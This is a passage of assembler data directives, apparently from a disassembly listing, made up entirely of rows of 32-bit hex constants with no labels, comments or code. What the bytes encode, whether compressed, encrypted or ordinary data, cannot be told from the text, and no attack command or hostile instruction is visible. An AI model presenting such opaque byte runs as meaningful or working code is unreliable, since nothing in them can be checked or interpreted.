		dd 68B80506h, 25A04ACCh, 7483D258h, 0F178304Eh,	0F36D990Dh
		dd 4AF809C7h, 6E7BEEh, 76429F12h, 0CF4C852Ch, 0B351C00h
		dd 919AB7F5h, 53F0188Eh, 38CE5186h, 21E69851h, 2067D7FCh
		dd 0CB80CF18h, 37283685h, 0C0702C5Dh, 0EEEFF9A2h, 2BB2A00Ah
		dd 9A010C58h, 7D998E92h, 0B5F9908Bh, 5F80F48Fh,	0DAA92C22h
		dd 0C2FF1807h, 0AB34A62Eh, 1C1D9CB0h, 4ACF6Ch, 0AEC91FBCh
		dd 21000D87h, 14EF07A1h, 3032937Bh, 1AF1F269h, 0E103E45Eh
		dd 96B8A8Ch, 0C226C05Ah, 0B2F14DAh, 5D37944Bh, 28311042h
		dd 0A2009B70h, 77DDADCh, 2479F65h, 0DD93F63Eh, 0A49325EFh
		dd 0E82D0AE0h, 5B8BE02Eh, 4CB69501h, 0C7E410EBh, 9A2B3EAFh
		dd 30F098D4h, 7C391C7Ah, 6300AD52h, 0F12AC99Fh,	2D990EFh
		dd 4E326128h, 20408F07h, 180098ABh, 0C0A08205h,	38B6420h
		dd 0A1C3A840h, 11001D58h, 4796A40Ch, 609CEDCDh,	4AA1F171h
		dd 7660F8B7h, 0C1BF3711h, 137C9Eh, 9B3F295Ch, 6DC08819h
		dd 0D1D7A1C0h, 13BD4Ch,	72D05C2Fh, 44E2077Eh, 0FB68AF09h
		dd 473D01ACh, 1181C9FAh, 50A26423h, 2BC400BDh, 0E5ED00A1h
		dd 0BB906651h, 0CE0FE123h, 0A3FA4D05h, 11705B43h, 22A06028h
		dd 0DBD8005Ah, 283A42BCh, 5001E9Fh, 633E7EC2h, 225DDEh
		dd 0D53C865Ch, 0B192767Fh, 0CE8830F5h, 5430B701h, 0B2529E04h
		dd 1E84FBE8h, 408F1BA7h, 0E90EA8E5h, 7500958Ah,	41C9E7EFh
		dd 0C6D8E8h, 0BDA2541Bh, 0C2394B20h, 8A771600h,	57D41893h
		dd 51E40A14h, 0FDF848Fh, 80BF477Ah, 0DC564B6Eh,	5300482Dh
		dd 0D0145806h, 3C4C11FAh, 8500AFD2h, 0AB696233h, 0F800E00Eh
		dd 6997B0Ch, 1E734580h,	804FA296h, 0D58323ADh, 3C00F77Dh
		dd 7F0DF3DAh, 464DE5Ah,	0E0BE5B81h, 45118353h, 0AEC35CC0h
		dd 0C1EE6800h, 0F3283E4Fh, 47D90169h, 1CE81D40h, 0A99FF472h
		dd 1419E91Eh, 699801C1h, 3F700CAAh, 0B5F00BDh, 94E38743h
		dd 0FA003B16h, 5649F668h, 3EAE78h, 0C9F9AC46h, 3FADF385h
		dd 5250071Ch, 759A8194h, 0FD60607h, 0C5007DE4h,	2CB2F2h
		dd 0EB9D51D2h, 587608B5h, 80F8373Eh, 5B75DC98h,	0AD3A6Ch
		dd 0DD11D0C9h, 598E64FAh, 77D97C00h, 0FCD57861h, 0DE5D16A8h
		dd 5298B0DBh, 0D02A2C03h, 0E8D90CCBh, 1F5A1659h, 0E449357Ch
		dd 52770734h, 0AD92C047h, 0AE00B643h, 0CE97E01Bh, 0FF9A507h
		dd 0DDC8BFF2h, 0EBA2F00h
		dd 0CD17CAF8h, 60017EEh, 0C8B3834h, 6A580F2Ch, 0A1201F41h
		dd 335CA0B0h, 0D59AE21Eh, 0F46CBFC0h, 3D42F0A5h, 0AF8181D0h
		dd 0A295C4E5h, 0E64DFCE0h, 0E4BE220Ch, 1302E2h,	0B5967023h
		dd 0D5F61149h, 6B283Dh,	6747C92Dh, 9F251FEh, 0DBD75315h
		dd 0BE406E0Fh, 0CD41CED6h, 66DAB212h, 0F551A400h, 8C196Ah
		dd 0A47C45DDh, 0C7DC313Ah, 394A0400h, 9BA877EBh, 1F6C00C6h
		dd 4C50E566h, 1200EF45h, 9125F35Ah, 325185h, 0BE56C070h
		dd 160503C6h, 0D967591Fh, 0DAA72680h, 3DB46D8Eh, 40801E25h
		dd 54BFE6FAh, 0E80AC3BDh, 88F0610Ch, 97E7300h, 0C0596B6Eh
		dd 0EC10ED10h, 923974C0h, 2CBF13D7h, 767D0040h,	87E95Bh
		dd 0F4FF63A5h, 98058988h, 6FD4D007h, 6BC4659Bh,	0C7EBBC0h
		dd 2AEA0114h, 0B7B4799Eh, 21F840B0h, 830019CAh,	0E861D35Ch
		dd 0C01B898Fh, 4A304D10h, 0E90E15E3h, 2C1F93EBh, 3A9D7869h
		dd 7F80C5BCh, 1C4026A2h, 6071652h, 814F25A7h, 40DBA8D2h
		dd 25E7BACh, 1BD1CFA1h,	0A840900Ch, 5D0EECCCh, 0A06B7793h
		dd 0A06854BEh, 0E4E200E9h, 8DCA5CCFh, 961372FFh, 745F9789h
		dd 0E63C1080h, 4C2D2421h, 74E4DDh, 382C19CEh, 70A94ED3h
		dd 1A809D60h, 0F2EA4h, 0AFCE68EDh, 1DFFD519h, 14E56A00h
		dd 1B8E66D1h, 9DF30051h, 8F49160Eh, 0C307481Ch,	76B96E7Fh
		dd 24C08EB5h, 1A6A71h, 0F735CE31h, 8DC155Bh, 7014520Fh
		dd 203258D4h, 2ABE0E3h,	0E260CB5Dh, 0D06888F2h,	71275E7h
		dd 0E500BD7Fh, 50B69E9Fh, 737E00BEh, 0FB5DE027h, 0F003098Eh
		dd 563C7B08h, 484FD0C4h, 0A6B700E6h, 8B9E0517h,	0DA0E1D74h
		dd 1260F139h, 32BF7C00h, 39DE16C3h, 8036F3E0h, 0C5E2D8F8h
		dd 17489B00h, 0BD3F75D5h, 0A9F630C6h, 221C5120h, 0D3A44E0h
		dd 0DB57806Dh, 37DD1AF1h, 0BF76768Ah, 2AB02640h, 702F45Ch
		dd 4FB4E775h, 1B5A8A70h, 0B548C1AAh, 70F81133h,	9B0231F2h
		dd 0A8EFB89Eh, 0E8BC603Fh, 1030F78h, 0AF646107h, 8E6887DAh
		dd 472D5E60h, 1248DD27h, 0AB320030h, 0DB8276C6h, 0C9E023h
		dd 0DD69AF14h, 1999116Dh, 0D0674924h, 0C73838A8h, 0D84D21h
		dd 0F5E92034h, 0B0E71028h, 63030034h, 1DB4407Fh, 0FFE01BC9h
		dd 8D463800h, 347A54FDh, 777E0064h, 0A87C61AAh,	0A112D020h
		dd 0C40180C3h, 6BC286A5h, 3F5569C0h, 7DF53271h,	224FC1Ch
		dd 2F52B9D2h, 4077102Ah, 88553Bh, 2ED0197Dh, 5197F59Ah
		dd 66261700h, 0DA4718E3h, 1F961D88h, 0BE820022h, 0DC63EB62h
		dd 606EBF07h, 7960BD47h, 72337431h, 1ED7930h, 0DFAE7105h
		dd 21EA93A7h, 0FB396057h, 67FE3500h, 7E22A1A9h,	1675C1h
		dd 0E0175FCBh, 0A31A62C9h, 2DE7DA2Eh, 1229823Ch, 0D0AEDB2Fh
		dd 0CBAF3CB8h, 0BCC1D106h, 0C048688Dh, 3DCC2CA5h, 0A0FE5B0Bh
		dd 24EA8224h, 0E3E737E1h, 1C8A8378h, 0C71298C0h, 0E22C6878h
		dd 0CB000624h, 0F5F1E10h, 78510048h, 19200866h,	4036D34h
		dd 0F19CF5C6h, 3CBAC015h, 1B7902B3h, 7FD323CBh,	1D6B8C40h
		dd 0B28B0500h, 2824E527h, 5E130346h, 5A2637DCh,	0A8087ABh
		dd 2B014C75h, 6BE0E110h, 0FCCD78Ah, 123B005Dh, 70920662h
		dd 0E400C519h, 0D0AE63D8h, 603FE97Eh, 69FBD0B1h, 1C050525h
		dd 3DE8676Ch, 7330C01h,	0F880FAE5h, 0D4D14F63h,	0A4012C61h
		dd 74A16421h, 90709819h, 0FB2500C7h, 128FC98Ch,	0CB07EE16h
		dd 6D8BE6AFh, 24CF2AC0h, 0D9E0FF4Eh, 0BEC10796h, 0C01AA0B6h
		dd 0AE3A917Dh, 0C70059B0h, 0F4E2DF55h, 0EAB72431h, 75FE0756h
		dd 2782F1DCh, 0D55E03B1h, 0FDE93FB8h, 0F85A8700h, 0C1F726E0h
		dd 64BC00E7h, 0B4E3BA5Bh, 1E00A452h, 84DEFF82h,	376CD8Eh
		dd 0D0F7B538h, 0CEC87A10h, 74004CECh, 23427F1Ah, 2E4EEFE6h
		dd 187C4879h, 55C3F871h, 0C7324B16h, 6DED2441h,	1041AE25h
		dd 9050F950h, 873DDh, 78316317h, 534E30B5h, 0BDD3A83Ah
		dd 29FA30DEh, 0A9AD7DFBh, 803047B0h, 60E848A2h,	43E2EA80h
		dd 730D6C65h, 42E30F81h, 961308Dh, 8CB06E39h, 887C6F87h
		dd 804C649Dh, 99C09379h, 3A0501E1h, 14ADDAEFh, 0D4B4481h
		dd 0FF4864h, 333734A2h,	0C20F92A0h, 50E95500h, 8B12C99Ah
		dd 0E4390049h, 1B68C890h, 0F9CEB345h, 70B2C0D5h, 3BA85D4Bh
		dd 0F8004CE4h, 1BECE815h, 4A18FBDFh, 5AC9DCA2h,	20D00A9h
		dd 0FEBDF214h, 4C03B15Dh, 3DAE651Dh, 0C9E8E1BAh, 0F550588Ah
		dd 3F17808Ch, 0DCAA19E2h, 6656A307h, 0E508D51h,	0C3DB76Ch
		dd 174C40D6h, 203C25C9h, 834B807Eh, 628B02AAh, 18CF266Dh
		dd 0E6EE00D0h, 0F4918E08h, 0F13C8774h, 582E0FBCh, 1C1BA324h
		dd 9118079Dh, 408D1F3Fh, 30F189F7h, 818FB53Eh, 0B62CCA71h
		dd 41BDBBF8h, 2767E186h, 303010BAh, 3955419Eh, 49C0289Bh
		dd 0E8CF0334h, 0E09985E4h, 3582580Dh, 3940089Ch, 33507186h
		dd 9930BD83h, 111B41EFh, 97518485h, 1BC3CA74h, 9AF88919h
		dd 60C535F0h, 72040F4h,	2E00FE3Ch, 79CE256Ah, 3BB6C2Ch
		dd 0D3866029h, 3DF34E1Ah, 1BE27806h, 3059EC4Dh,	0B0E91424h
		dd 750A9578h, 0E189456Fh, 7D1BC100h, 7760A0h, 126CA318h
		dd 92B88A39h, 6619F718h, 0DF9D8EC9h, 0AE6170B0h, 7F30284Fh
		dd 52CE211Bh, 0BE6F00E5h, 0CFDF9399h, 8C7F027Ah, 12BD9A1Ch
		dd 30C9BBD8h, 0BA99CBEBh, 275DF00h, 72E44D3Dh, 0E6F03300h
		dd 1F016378h, 0AD4C3327h, 0C0038688h, 0A4330897h, 0A1B0E28Bh
		dd 82308190h, 5CA65180h, 31A2DDA3h, 0C26336EEh,	8525A018h
		dd 12178040h, 2855222Ah, 312C937Eh, 65211624h, 0D04E8EEh
		dd 0BCE7CC3Eh, 848939ADh, 533FA1B8h, 20860092h,	0AB3480DAh
		dd 67921F00h, 0DE299B97h, 1162345Ah, 2C9C4514h,	62F45E9Dh
		dd 5275865Ch, 8CC32A10h, 6D952B00h, 0AAB155B3h,	9FCEEEAh
		dd 0E8E2129Dh, 49353020h, 42792FD9h, 7F301892h,	0A79649E7h
		dd 53161F27h, 4EA5474Ah, 0AE6D015Dh, 859443F1h,	1219280Ah
		dd 1BC1E892h, 99999A4Ah, 10E1E180h, 7C26C167h, 0BA0D01DDh
		dd 34C62B10h, 9815E0EDh, 31BB5807h, 9128E79Ah, 3241583h
		dd 14F902A8h, 4EB1E177h, 0F8DD0044h, 0CD4F2853h, 0A900FBAEh
		dd 1A207AB3h, 243A7157h, 803488B5h, 9234890Dh, 0E8EAA2EEh
		dd 0DCA48A7Ch, 0EC409DE6h, 161B1482h, 152240EDh, 85F0E538h
		dd 2E75C6A7h, 0AF57AC81h, 0FCAEC840h, 64C80034h, 0D576C211h
		dd 0ACA4B72Ah, 5F8AC924h, 0FC9D3E0Fh, 0F7188618h, 9AAD28F0h
		dd 0E6AE019Ch, 8ACA113Dh, 85F100BDh, 502F72C2h,	0A8E7181Fh
		dd 88969FF8h, 655C3AEh,	73D19010h, 22079704h, 0EC3CC9E6h
		dd 0CE064538h, 9F67E001h, 84303069h, 3FCEDE9h, 0DCB9CB24h
		dd 683E2E00h, 12056BCEh, 4593164Bh, 1D18C3D4h, 8B81E38h
		dd 183C1C19h, 0D0999C7Fh, 0F64909EFh, 3CB8F211h, 5F00D932h
		dd 598153B4h, 18C66h, 0DE3FC493h, 5851D827h, 713B8735h
		dd 0C04CD854h, 327A98D7h, 0C71C0486h, 894B8BD1h, 0C0502288h
		dd 0E0F1B74Fh, 25060075h, 0F926B51Dh, 4C0E0986h, 0F45535D1h
		dd 94071AB4h, 12E84C61h, 45AB8FAAh, 0C008AE78h,	6C2A518h
		dd 90F721C9h, 88E47F6Ch, 680026C9h, 4A8B61E2h, 3BF4BA6Bh
		dd 174124A3h, 3543A064h, 0A804362Fh, 39D81FAFh,	94C6951Eh
		dd 0E548CD00h, 19B1EB6h, 0D555371Eh, 4C10E740h,	2427A699h
		dd 885C1D46h, 358CE192h, 0A641C1h, 0AFED7B98h, 7ED9AB62h
		dd 571C9101h, 2E29054Ah
		dd 24151423h, 21009811h, 89F5966Ah, 3900E22Fh, 0B8B1F4BDh
		dd 0D0B3C58Ch, 0A9C0E460h, 0F1BD7B88h, 0B90A637Bh, 0C4A3D12Bh
		dd 0E9712228h, 4F64D212h, 0E7F4B030h, 5579140Eh, 0A91F587Fh
		dd 743141FEh, 0C0357D01h, 0BC071B11h, 0F13C7E07h, 643EEAC2h
		dd 8F8A40DCh, 0E8445C92h, 0D7FA0097h, 0E9E17E2Ah, 5002017h
		dd 0C7C64964h, 2C07A8DFh, 646427B4h, 8B1409Eh, 9155B01Eh
		dd 0E48408ACh, 0E9D0358Ch, 0E9890116h, 21F620B8h, 12D055AAh
		dd 0A38804F8h, 0C2B091F9h, 7218h, 0BF3DC3E2h, 68E7FD08h
		dd 915C6063h, 7C380099h, 46C18C92h, 0C09004AEh,	91D2DC5Eh
		dd 10851768h, 0BD7E197h, 30968D53h, 0F2AE5420h,	71C01722h
		dd 79C68EF1h, 18C900A0h, 0B6834854h, 7303CFA8h,	0AA594769h
		dd 0E116CB5Fh, 4C32BCB4h, 402C802Eh, 0CC8B29DBh, 0C1690101h
		dd 174E50ADh, 898D8C4Ch, 81E19F85h, 11105694h, 0AE0CE59Bh
		dd 12B9802Ah, 3E57DA48h, 76650045h, 0FB0B9222h,	527C021Bh
		dd 0AC13907Dh, 0D900A04Eh, 939D3649h, 770BCBB4h, 1F0113Ch
		dd 3D1922ECh, 0E100C6A9h, 7DB6EA07h, 60242DC9h,	9E888812h
		dd 1407A696h, 741AA094h, 78B0B039h, 98E6ECC2h, 5DBE8B00h
		dd 0EB2D2838h, 97DB1240h, 0CFC848DAh, 85E3C8Ch,	2509890h
		dd 1178AD34h, 0CCCE9199h, 98D44D22h, 0C0E845A8h, 0B11C6DEEh
		dd 1340E7B4h, 343A46EBh, 13A5F6BCh, 8F91444h, 0AD848E44h
		dd 0F540EB29h, 0F6FA76ECh, 806A6C3Eh, 7EFFC3BEh, 120BD39Bh
		dd 304478ACh, 541BF130h, 1863901Dh, 7CA0B06Ah, 802DA52h
		dd 0AE9E3283h, 44CC647Eh, 95056FCBh, 948FFAA9h,	0E8D274D4h
		dd 23331142h, 7DCF00DCh, 39BAC512h, 7CF040h, 59FE9C6Bh
		dd 0B61BF8Dh, 746A0313h, 801A3048h, 0D411872Ah,	0E02C451h
		dd 0EA5DC1CBh, 3CE84EF6h, 9B001D86h, 74DC40E0h,	5300CDDFh
		dd 0E89CBB36h, 58C3FC8Bh, 2F34A48Ah, 324C4059h,	2C114DC6h
		dd 0D34F7200h, 0EF169B6Fh, 0A60107C0h, 0F47545CBh, 727CDC27h
		dd 0B7332A00h, 0E43C83E7h, 0B0FA0752h, 940768D0h, 0C2EC8825h
		dd 0B19DCE00h, 0ACAB5A4Ch, 9AB1C9B0h, 0C9354C10h, 0A89EA8A8h
		dd 77311702h, 0E82F759Fh, 0C1CC1398h, 0E8BAF121h, 51BE210Eh
		dd 801B24C8h, 332DC169h, 11671B1h, 755B3A27h, 52C6636Ah
		dd 384486C4h, 5E92F8B1h, 0B52D7600h, 2FE5AE4h, 0E115B1EAh
		dd 0AC89AC8Ch, 4B427494h, 40703F2Eh, 0D87DABE3h, 6EF88100h
		dd 598B3E38h, 934C9184h, 1B4046B7h, 6C930843h, 0D3008511h
		dd 897FB1BDh, 0BE6145ACh, 0D5491BA0h, 2D24218Ch, 57006E71h
		dd 0DD6D3EB9h, 1A64ACh,	0B8C2D912h, 77FD27C9h, 22E65822h
		dd 8652994Bh, 374F2164h, 88B4EA10h, 0D8A6C599h,	0C09BF420h
		dd 0FFAB9A80h, 0E888BCA8h, 440920CAh, 4893A0B0h, 59223B00h
		dd 0EC2560DFh, 0A80D0478h, 48A7694Fh, 3AAC801Ah, 0C8ADD4E7h
		dd 0C3452A05h, 8C4859E8h, 5F9F80EDh, 0C981B4E0h, 601EAB00h
		dd 4759302h, 34454CBCh,	0A7CEE05Ch, 6686D40h, 8309571Eh
		dd 0F4F564AFh, 88382627h, 198B1702h, 3058100Ch,	271C09Fh
		dd 0C9DA7298h, 29AEC412h, 6458C490h, 39F41DECh,	769E0Fh
		dd 0D453CC85h, 0C4011703h, 30049C9Eh, 91F6C284h, 0F11C4EF8h
		dd 6712BB13h, 9C998021h, 8F2C0C2Dh, 661285D4h, 1CC423CEh
		dd 10194384h, 0A4394493h, 0DA8A88DEh, 3C682000h, 5793CF59h
		dd 0DCF209F8h, 3C405E16h, 5C0032F1h, 0D4090636h, 5DC05A1Bh
		dd 191410E6h, 0F184A09Bh, 161CB422h, 0B4C4A303h, 0F14FA4F8h
		dd 9CE91BE8h, 8386D18Bh, 2846703Ah, 0AE80760Bh,	605B8E3Eh
		dd 0DFFC4220h, 59B600F8h, 476D7F29h, 24A1CB18h,	12AE1093h
		dd 0CCC60E8Bh, 0E6DDBD88h, 19DC48B4h, 39E2F984h, 10808B48h
		dd 16FE718h, 170D5F03h,	60EB5E0Ch, 0A975F8A7h, 0F6368409h
		dd 4D989029h, 1DAF903Ch, 0C4A76070h, 0C00997BBh, 0C5650153h
		dd 3FE49A03h, 10E8949Dh, 849F81A9h, 549CBD99h, 1C7E00F4h
		dd 6D9BD5E5h, 421F184Eh, 0F944EB32h, 948252B4h,	1C5985h
		dd 0F371B9F1h, 431CCB6Eh, 50C19A37h, 0B79E8A3Dh, 0C9215022h
		dd 4CB9C43Dh, 22288137h, 1BC212ECh, 15102113h, 831842C4h
		dd 0CA457C21h, 0BFCF6E8h, 0B8EF58A7h, 3DE7B420h, 0A0A6BA0Dh
		dd 0A4A70400h, 0E477430Ch, 0D9F90084h, 69A07409h, 7B4854CAh
		dd 80A0496Ch, 6B84FB01h, 53740148h, 8FD41860h, 0E7F6C0BAh
		dd 1A1C1B25h, 3640D71Ch, 49D2A6D6h, 3C483h, 126ED0C1h
		dd 181B3B3Ch, 2A50249Ch, 3E0D000Eh, 7AD8B57Eh, 0D727DDFCh
		dd 0E6E492BAh, 0AA2800E4h, 0FBC5736Fh, 89072581h, 0F3DB6F0h
		dd 3CF215F4h, 419F42Dh,	3D98334Fh, 11234281h, 861FD82Bh
		dd 3544C464h, 3EE2DC88h, 1D39A34Dh, 0EE713C81h,	398D8C12h
		dd 2B2C4CF0h, 0E9811C08h, 3C66E851h, 12D28420h,	224786FEh
		dd 1C7B0DD4h, 0BE9EAE00h, 9C9B42CDh, 3349E04Ch,	0B6017011h
		dd 20AACF6h, 0D370BE61h, 61BC4E71h, 0C4C5AC10h,	0C105A626h
		dd 70D0A049h, 0EB4E8844h, 0C2B43053h, 0B81C72B2h, 823E6BCCh
		dd 76D963EAh, 4585A17h,	1DD859BCh, 487CE3ADh, 3D604134h
		dd 48C84CECh, 67E28280h, 30E674h, 772326B7h, 0F22F3FBEh
		dd 0DC725D0Ah, 4B1DCCB5h, 9B5EDF81h, 9048EC09h,	893C9411h
		dd 9C981DC2h, 5A869299h, 8464408Fh, 0A034FE7Ah,	0C8795F04h
		dd 24F4C76Bh, 0E1CD0EBCh, 0B96B1B4h, 3064BA86h,	0FCF1F3FEh
		dd 0D616240Dh, 54C88921h, 953CA022h, 753D09B8h,	0FC84C939h
		dd 0F99C8CEFh, 0B296AD00h, 99A67BCDh, 0D66109FAh, 0C70B1072h
		dd 10C6581Ah, 70097E7Ah, 0A41A22Eh, 0E84458CEh,	79182446h
		dd 0C7724D1Fh, 302B0E41h, 26D4E7AAh, 700327BDh,	8A0D1080h
		dd 760CB48Fh, 3919221Bh, 2FC900FAh, 69E94C49h, 809180BDh
		dd 50A76F02h, 2DC7045h,	70AB81E2h, 74C42FD3h, 0C21A1847h
		dd 14791074h, 42969288h, 97259B43h, 0BC112C83h,	1512045Eh
		dd 18001E93h, 4C57CC0h,	82C096ACh, 0DC4FB38Bh, 0E745CC66h
		dd 1607CC72h, 0F7ECBED0h, 9446292Dh, 894BC00h, 0A5A6643Ah
		dd 83B10045h, 0A08274B7h, 4313DD95h, 0CCD8544Dh, 0CFAE3CBFh
		dd 0DD1920B2h, 0FF677C20h, 9DED0F59h, 0C2E055D1h, 4AC3E714h
		dd 30E6B42Dh, 1350E1C4h, 5C67C7F0h, 0DCAF6D04h,	183F640h
		dd 3600E0A2h, 2A3CE41Ch, 96404C10h, 80430890h, 4A67E143h
		dd 427C340Eh, 83790ECCh, 8DA08C90h, 45E28A89h, 0C41E1090h
		dd 0C8B39313h, 3201AE06h, 7F3559EFh, 0F20049E2h, 6302F0DDh
		dd 0A33500F4h, 0C6B7CB1Ch, 2209DE7Eh, 22DFD369h, 821A0700h
		dd 2F951F30h, 5C86D49Dh, 0C8111064h, 0BC07E2F0h, 0B374D853h
		dd 1349C0B0h, 542350F2h, 181EF825h, 0F1B104BDh,	550C2A8h
		dd 0B1D4ED28h, 8BA848F8h, 12589130h, 10DC6AE8h,	25ED60A0h
		dd 0FEB4B08Ah, 48181F94h, 235F071Fh, 218951BCh,	1C281886h
		dd 80DB33C3h, 5910D4EEh, 230EED07h, 4175DD5Eh, 937D1625h
		dd 9F863041h, 35181822h, 0C54199CDh, 457EA800h,	576573FDh
		dd 44222742h, 2852B8A0h, 97541411h, 3716AB94h, 1C04749Bh
		dd 1B43EA96h, 9925EF4Dh, 7D6C2024h, 177EB84h, 323F0CFEh
		dd 0DC619F58h, 8C165F53h, 443526F6h, 4577CC8h, 3C5E6EF5h
		dd 0D73490D9h, 48B0F3A3h, 5FC0009Ch, 26C938h, 1C6E69B8h
		dd 6AEF3AC7h, 7065D908h, 0D0119Ch, 422412CDh, 328DE5D8h
		dd 0CA2188B7h, 4F96E2Ch
		dd 17D70761h, 0F8508934h, 2A01BB7Dh, 7F375E0Dh,	2C249106h
		dd 0CCB0D31Fh, 0C6881BC4h, 59810060h, 4E715B7Ah, 0F509AB4Ch
		dd 928D5A34h, 7D10D8A8h, 711A3A28h, 3B80472Eh, 8300AE44h
		dd 0F1D7502Ah, 499F3DA9h, 0C204584Ch, 0A68D1202h, 0CD1E00BCh
		dd 895DBF0Eh, 37053E16h, 9E5FD782h, 84C0A29Dh, 9C16CF5Ah
		dd 20202867h, 0C2907E1Ah, 9E647D80h, 10FFDCC4h,	0E64F1Fh
		dd 88587F3Dh, 0AE061E24h, 0BA9E7912h, 5805EC4Ah, 9F11BC24h
		dd 0AC9C487Ch, 83C8F0D0h, 363EBA80h, 0CD64F4Bh,	0D3EA1D79h
		dd 0E7449E39h, 8127BAEh, 9D161A2Ah, 85B9BC98h, 29BDEF9Eh
		dd 0E4D21106h, 3098C076h, 0B4B68D0Bh, 0C3FC6877h, 56DBEF37h
		dd 6500C4F9h, 9997C235h, 0E281A712h, 6180E06Ch,	20EFDBBAh
		dd 769A9303h, 0E2AB7598h, 0B8A5C0E0h, 0D114248Ah, 0A44C69F4h
		dd 1880B099h, 0D6EBEE58h, 6622032Ah, 0C5E2FA27h, 92FC1BCBh
		dd 59201F1Ch, 6DDAAE3h,	0EB99866Ch, 1E442144h, 0FD140136h
		dd 0CA193259h, 9BF43C40h, 0C67100CAh, 5516D657h, 18073677h
		dd 1AA05C13h, 4E801502h, 8276D0h, 5B2A46Eh, 2087F55Dh
		dd 0E10471EAh, 8BFB7A98h, 349A8605h, 89B800CCh,	12BAC036h
		dd 60D3CA4Ah, 1BC780F1h, 96049117h, 9C0C749Eh, 2C8702FCh
		dd 8896076Ch, 888F05ABh, 5490A3F4h, 4FEF6D04h, 0D4F2E852h
		dd 5276E00h, 60A41268h,	2DE22940h, 0B090F6CFh, 4E001E25h
		dd 3ED5FC02h, 12E8667h,	0B54183A9h, 7DBB0BF2h, 68904A14h
		dd 12E4810Dh, 22D68D46h, 4820801Ch, 1EB9A232h, 0C2F31155h
		dd 9B014E28h, 9D4DA070h, 3441C73Ch, 0AE5B1A30h,	0B28C2090h
		dd 57F4FCECh, 96EE1998h, 58B09852h, 310C5CD0h, 78609F4h
		dd 25804C38h, 463BC6BFh, 40DC4CA3h, 0B416A132h,	8B2402A6h
		dd 0E1808C2Eh, 0D0E41C87h, 0AB3E5927h, 0C9A5EB02h, 0C01DCB0Eh
		dd 13702A71h, 5721FE35h, 0BEE060C8h, 6B049873h,	78FB47E3h
		dd 0EAE55B80h, 6CC80EC0h, 0C9331EC3h, 0E471A064h, 1F88ACB6h
		dd 90AD17h, 9603CE4Eh, 0A177800Ah, 38F3E8DCh, 80C09135h
		dd 3BB86D04h, 0B40095FCh, 0ACFF3ECEh, 5D443E2h,	0E7B5CC53h
		dd 93E8C813h, 9A492284h, 0BC00B491h, 0BDDEDF08h, 2828928Bh
		dd 34808Ah, 5C5B8303h, 1D2EAFE1h, 0D93B5AF4h, 0D43481FCh
		dd 31662106h, 8C43DC33h, 2300773Fh, 5CB54054h, 8A026548h
		dd 0FBAB0EE4h, 95B4F2E2h, 4CCC4CA9h, 0DE796E00h, 95A8778Ch
		dd 0BDEB00C1h, 0A2AE6580h, 10A89D1h, 64395C14h,	53B420A5h
		dd 25CABA19h, 44E0ABC9h, 2AF8E894h, 831110FFh, 895B0417h
		dd 0C0EF3BCCh, 9BA28FE4h, 820DDA00h, 96495AA5h,	91744B94h
		dd 22CA99ECh, 0B81827CCh, 54981970h, 8A8710CBh,	19445CC4h
		dd 380F02EDh, 2AEE6927h, 0E411E0E9h, 0F324E2C4h, 26C0DCBCh
		dd 0F84DF262h, 32342ED4h, 84E549D0h, 0C3423F01h, 0F8480A59h
		dd 0AE92449Ch, 0E72D5016h, 733AE430h, 5E553B49h, 26A0C02Ah
		dd 0AF901011h, 0EDA1E01Bh, 0D20AF419h, 5A2D7102h, 0DBFD5708h
		dd 0A34300CCh, 9418A6Ah, 17007C72h, 601BEEC8h, 9799110Fh
		dd 9F016494h, 0EDA436Dh, 0EFE0CC4Ah, 270FE5Ch, 0A1A0D42Dh
		dd 0C853EB12h, 0A74AB01h, 0CCF2DDC9h, 0A5FB0008h, 1C51FC4Eh
		dd 404139D0h, 12A0BC70h, 64D8C287h, 2B1C8930h, 7541DC60h
		dd 0DFFEFAh, 0DE3A6CCFh, 79E8E221h, 0B08AA207h,	56B4758Fh
		dd 1A0184B9h, 842FCF64h, 9B4669Fh, 0E434958Ch, 84191098h
		dd 0A6D7138Eh, 4C6CD004h, 68BA8A8h, 9E035496h, 0E2D5F8D4h
		dd 0E61D884Ch, 0C83905B9h, 8CAC8F13h, 189B8568h, 0B599C980h
		dd 43D22BFh, 42726DBh, 0A24084F1h, 8473CA30h, 524099C4h
		dd 0EB2D6E41h, 0A419E107h, 0B504B90Fh, 174FAC90h, 8249773h
		dd 0D0D24093h, 4B2C14FDh, 1580093Dh, 40E63099h,	74F5248Ch
		dd 0CA85F20Bh, 596C098Bh, 882425E8h, 0CF04BC9Eh, 6C383F0h
		dd 70B94C19h, 8640F932h, 0E444186Eh, 0D9381FDAh, 109700BDh
		dd 5A9C13C1h, 9189E113h, 800388A3h, 7CFE0FD8h, 14059025h
		dd 5A6D00F8h, 0AEC68F4Ch, 2408F63Dh, 5EDFACFh, 0D9921419h
		dd 94032A64h, 9A250D89h, 0FBE8h, 8F3D560Ch, 0D60030D2h
		dd 9EC1937Bh, 79AF46B6h, 874312FAh, 4F2C4125h, 628EE714h
		dd 76609868h, 68A7979Ah, 0D8CCF9C2h, 21408C94h,	5F397FFh
		dd 11873B94h, 80D049D7h, 0DA12E8C8h, 342E2902h,	4C87C145h
		dd 4A2200CCh, 0D9C8287Ah, 0CD00B3F1h, 6CC5A346h, 1370F77Dh
		dd 0CC8D89A8h, 6B009460h, 3272359Dh, 2A0B0FBh, 0F9B97FE5h
		dd 0CC719266h, 0BD4F3181h, 80052EDEh, 0D9357D20h, 25B04213h
		dd 0FCA328B4h, 3C8403AAh, 0EC499D46h, 3E6094E0h, 2F702309h
		dd 75E85A7Fh, 0D601007Ah, 613C5703h, 54B4F3D4h,	289469h
		dd 20E64B2Dh, 0DAC33C85h, 0BAD5CF00h, 7827D4CEh, 882E1DA1h
		dd 346C2543h, 0A0F87C00h, 78C41FB9h, 0DA413CFAh, 40E823ACh
		dd 0E849825Eh, 0EFAA9404h, 504863Fh, 27932215h,	703EB0BDh
		dd 841557F3h, 83F0E09Eh, 0AF53D050h, 5CAC1444h,	95418632h
		dd 73B20320h, 83100BFBh, 4498573Dh, 89111C2h, 9F4C1844h
		dd 372E759Ah, 0EA003E59h, 3EC2AE9Ah, 6BF89E24h,	5C2010C5h
		dd 0E3FCAF02h, 481D2384h, 991FC354h, 0ABD8006Ch, 0F5E28A11h
		dd 2AF9132Dh, 7762CC88h, 0A88CE344h, 3794119h, 2463D6FFh
		dd 68229372h, 0A61300EFh, 3F19E499h, 0DC0029BBh, 1D5FA3EBh
		dd 0E4C26BEFh, 1281CFFFh, 0A09A7DC1h, 0CC76E2BDh, 20991542h
		dd 5343D097h, 0CA19A71Ch, 10986FC5h, 30E2AC53h,	0AE411677h
